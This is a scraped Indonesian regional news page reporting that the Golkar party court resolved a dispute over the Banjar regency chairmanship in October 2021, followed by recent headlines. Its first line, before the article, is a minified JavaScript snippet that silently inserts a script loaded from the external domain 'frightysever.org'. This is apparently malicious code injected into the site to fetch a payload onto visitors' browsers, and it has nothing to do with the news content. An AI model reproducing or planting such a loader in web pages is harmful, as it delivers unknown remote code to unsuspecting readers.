(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Kisruh Internal DPD Golkar Banjar Selesai di Sidang Mahkamah Partai


KANALKALIMANTAN.COM, MARTAPURA– Perselisihan internal DPD (Dewan Pimpinan Daerah) Partai Golkar Kabupaten Banjar berakhir pada putusan sidang di Mahkamah Partai Golkar, Kamis (14/10/2021) sore.

Sebelumnya perselisihan internal berawal dari Musda Pemilihan Ketua DPD Partai Golkar Kabupaten Banjar yang digelar pada Sabtu (30/1/2021) silam. Dalam Musda kala itu terpilih secara aklamasi sebagai Ketua DPD Partai Golkar Kabupaten Banjar H Rusli untuk periode ketiga.

Hasil Musda kemudian disengketakan atau ditolak oleh Kamaruzaman, Gusti Abdurrahman (Antung Aman) bersama 13 pengurus Partai Golkar tingkat Kecamatan ke Mahkamah Partai Golkar. Para pengurus Partai Golkar itu diwakili pengurus Golkar kecamatan yang diberhentikan Rifai. Rifai menyatakan, ada kejanggalan terutama dengan pemberhentian sebanyak 13 orang pengurus kecamatan jelang Musda.

Atas masalah internal partai tersebut Mahkamah Partai Golkar menggelar sidang sengketa internal kepengurusan Partai Golkar dari sejumlah daerah di Indonesia.

 

Baca juga : Ratusan Gram Sabu Berhasil Diamankan Unit Reskrim Banjarbaru Barat

Pada perkara nomor 29 adalah sengketa kepengurusan DPD Partai Golkar Kabupaten Banjar yang diajukan termohon 13 pengurus kecamatan Partai Golkar Kabupaten Banjar yang dipimpin Kamaruzaman dan Gusti Abdurrahman.

Dikatakan kader beringin, Kamaruzaman, mereka memenangkan permohonan gugatan berdasarkan putusan sidang tersebut dan menyatakan menolak seluruh permohonan termohon.

Untuk itu ia meminta semua pihak menghormati dan menjalankan amar putusan Mahkamah Partai Golkar.

“Putusan sidang Mahkamah Partai Golkar telah memenangkan permohonan gugatan kami. Selanjutnya kita semua kader dan pengurus DPD Partai Golkar Kabupaten Banjar bersatu untuk soliditas partai menghadapi tahun politik 2024,” tegas Kamaruzaman yang dipercaya menjadi Ketua Komisi I DPRD Banjar ini.(kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie


Desy Arfianty

Recent Posts

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

2 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

3 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

3 jam ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

4 jam ago

Pansus II ke KLHK, Bahas Raperda Pengakuan dan Perlindungan Masyarakat Hukum Adat

KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More

4 jam ago

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

4 jam ago

This website uses cookies.